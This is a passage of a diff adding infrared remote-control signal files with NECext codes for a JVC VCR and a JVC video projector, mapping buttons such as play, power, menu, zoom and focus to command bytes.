00 00 00 +command: 03 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: VCR_B_STOP[] +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: B_EJECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 04 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 04 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: B_FF_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VCRB_FF_>>/>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VCRB_FF_>>_/>>\ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VIDEO_B_>>/>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: VCR_B_FFWD_>>/>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: B_REW_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: VCRB_REW_< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: VIDEO_B_PLAY_> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: PLAY/X2_> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: VCR_B_PLAY> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: B_PAUSE/STILL +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: VCRB_PAUSE_ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: VIDEO_B_PAUSE_ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: VCR_B_PAUSE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0D 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: B_TV/VIDEO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: VCRB_TV/VIDEO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: VIDEO_B_TV/VIDEO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: VCR_B_TV/VIDEO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: B_VARIABLE_SEARCH_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: VCRB_SHUTTLE_>>(+) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: VCRB_SHUT_PLUS_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: VIDEO_B_VAR_SRCH_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: VAR.SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: VCRB_SRCH>>(VARIABLE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 14 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: B_VARIABLE_SEARCH_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VCRB_SHUTTLE_<<_(-) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VCRB_SHUT_PLUS_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VIDEO_B_VAR_SRCH_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VAR.SEARCH_REV_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VCRB_SRCH<<(VARIABLE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 15 00 00 00 +# +name: VIDEO_B_AUDIO_MONITO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 17 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 17 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: B_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: B_CH_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: VCRB_CH/SET_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: VCRB_CH_V +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: VIDEO_B_TV_PROG_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: SET_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: SET_REV +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: VCR_B_CH_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: B_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: B_CH_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: VCRB_CH/SET_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: VCRB_CH_^ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: VIDEO_B_TV_PROG_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: SET_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: SET_FWD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: VCR_B_CH_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 1D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: B_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: VCRB_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_B_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: VCR_B_1_(ABC) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: B_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: VCRB_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_B_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: VCR_B_2_(DEF) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: B_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: VCRB_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: VIDEO_B_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: VCR_B_3_(GHI) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: B_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: VCRB_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: VIDEO_B_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: VCR_B_4_(JKL) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: B_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: VCRB_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: VIDEO_B_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: VCR_B_5_(MNO) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: B_6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: VCRB_6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: VIDEO_B_6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: VCR_B_6_(PQR) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: B_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: VCRB_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_B_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: VCR_B_7_(STU) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: B_8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: VCRB_8_(DAILY_M-F) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: VIDEO_B_8_(DAILY) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: VCR_B_8_(VWX) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: B_9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: VCRB_9_(WEEKLY) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: VIDEO_B_9_(WEEKLY) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: VCR_B_9_(WEEKLY) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: B_SP/EP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: VCRB_SP/EP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: VIDEO_B_///_(SP/EP) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: VCR_B_SP/EP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: B_AM/PM +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 32 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: B_0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: VCRB_0_(AUX) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: VIDEO_B_0_(AUX) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: VCR_B_0_(AUX) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: B_TIMER +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 35 00 00 00 +# +name: VCRB_TIMER +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 35 00 00 00 +# +name: VID_B_5_TIMER_(CH) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 35 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 35 00 00 00 +# +name: VCR_B_TIMER +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 35 00 00 00 +# +name: B_SKIP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: VCRB_CANCEL(C/RESET +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: VCRB_CANCEL/CHSKIP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: VIDEO_B_CANCEL +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/SKIP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: VCR_B_CANCEL +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: B_MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: VCRB_MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: VIDEO_B_REVIEW +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: VCR_B_MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 37 00 00 00 +# +name: B_DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 38 00 00 00 +# +name: VCRB_DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 38 00 00 00 +# +name: VIDEO_B_DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 38 00 00 00 +# +name: VCR_B_DISPLAY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 38 00 00 00 +# +name: B_GOTO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3B 00 00 00 +# +name: GO-TO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3B 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: B_SELECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: VCRB_SELECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: VCRB_OK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: VID_B_3_SELECT(CMEM) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: VCR_B_SELECT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3C 00 00 00 +# +name: B_ENTER +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3E 00 00 00 +# +name: VCRB_ENTER_(OSD) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3E 00 00 00 +# +name: ENTER/ADD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3E 00 00 00 +# +name: VCR_B_ENTER/OSD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3E 00 00 00 +# +name: B_TRACKING_+ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 41 00 00 00 +# +name: AUTO_TRACKING_UP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 41 00 00 00 +# +name: B_TRACKING_- +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 42 00 00 00 +# +name: AUTO_TRACKING_DOWN +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 42 00 00 00 +# +name: B_TV_MONITOR +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 4B 00 00 00 +# +name: TV/MONITOR +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 4B 00 00 00 +# +name: VID_B_4_TRANS(CHSRCH +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 66 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 6E 00 00 00 +# +name: SELECT_FWD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 80 00 00 00 +# +name: VCRB_SHUT_PLUS_^ +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 82 00 00 00 +# +name: SELECT_REV +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 84 00 00 00 +# +name: VCRB_SHUT_PLUS_V +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 86 00 00 00 +# +name: VCRB_C.MEMORY_(ADD) +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 90 00 00 00 +# +name: VCRB_C.MEMORY +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 90 00 00 00 +# +name: VCR_B_IN/OUT/START_C +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 90 00 00 00 +# +name: B_INDEX +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 91 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 91 00 00 00 +# +name: B_MARK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 93 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 93 00 00 00 +# +name: B_ERASE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 94 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 94 00 00 00 +# +name: B_SKIP_SEARCH +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 96 00 00 00 +# +name: VCRB_SKIP_SEARCH +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 96 00 00 00 +# +name: SKIP/BLANK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 96 00 00 00 +# +name: VCR_B_SKIP_SRCH +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 96 00 00 00 +# +name: B_INTRO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 97 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 97 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: AF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 53 00 00 00 +command: AF 00 00 00 +# +name: JOG_REV +type: parsed +protocol: NECext +address: 53 00 00 00 +command: AF 00 00 00 +# +name: VCR_B_JOG_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: AF 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 53 00 00 00 +command: B7 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: B8 00 00 00 +# +name: VCRB_REVIEW +type: parsed +protocol: NECext +address: 53 00 00 00 +command: C3 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: B_REC/PLAY/X2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: VCRB_REC +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: VIDEO_B_REC +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: REC/PLAY/X2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: VCR_B_RECORD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CC 00 00 00 +# +name: REC/PAUSE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: CD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 53 00 00 00 +command: EA 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: ED 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 53 00 00 00 +command: ED 00 00 00 +# +name: JOG_FWD +type: parsed +protocol: NECext +address: 53 00 00 00 +command: ED 00 00 00 +# +name: VCR_B_JOG_>> +type: parsed +protocol: NECext +address: 53 00 00 00 +command: ED 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir new file mode 100644 index 000000000..0bcf4df5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir @@ -0,0 +1,764 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 01 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 02 00 00 00 +# +name: PAGE_BACK +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: PAGE/_BACK +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 03 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 04 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 05 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 05 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: POWER_OFF_-_SEND_2X +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 06 00 00 00 +# +name: LIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 07 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 08 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 09 00 00 00 +# +name: CONT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0A 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 0F 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 10 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 10 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 11 00 00 00 +# +name: QUICK_ALIGN. +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 13 00 00 00 +# +name: QUICK_ALIGN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 13 00 00 00 +# +name: QUICKALIGN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 13 00 00 00 +# +name: SHARP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 14 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 15 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 16 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 17 00 00 00 +# +name: SCAN_POWER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 17 00 00 00 +# +name: N.R. +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 18 00 00 00 +# +name: V-KEYSTONE_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1B 00 00 00 +# +name: V-KEYSTONE_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1C 00 00 00 +# +name: AV_MUTING +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: HIDE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1D 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1E 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 1F 00 00 00 +# +name: LENS.AP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 20 00 00 00 +# +name: ZOOM_T +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 23 00 00 00 +# +name: V_STRETCH_ON +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 23 00 00 00 +# +name: ZOOM_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 23 00 00 00 +# +name: ZOOOM_T +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 23 00 00 00 +# +name: ZOOM_W +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 24 00 00 00 +# +name: V_STRETCH_OFF +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 24 00 00 00 +# +name: ZOOM_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 24 00 00 00 +# +name: DIGITAL_ZOOM_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2A 00 00 00 +# +name: DIGITAL_ZOOM_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2F 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 2F 00 00 00 +# +name: MENU/ENTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 30 00 00 00 +# +name: MENU/_ENTER +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 30 00 00 00 +# +name: SELECT_= +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 30 00 00 00 +# +name: LENS +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 30 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 36 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 3C 00 00 00 +# +name: FOCUS_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 3C 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 3D 00 00 00 +# +name: FOCUS_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 3D 00 00 00 +# +name: H-KEYSTONE_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 40 00 00 00 +# +name: H-KEYSTONE_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 41 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 73 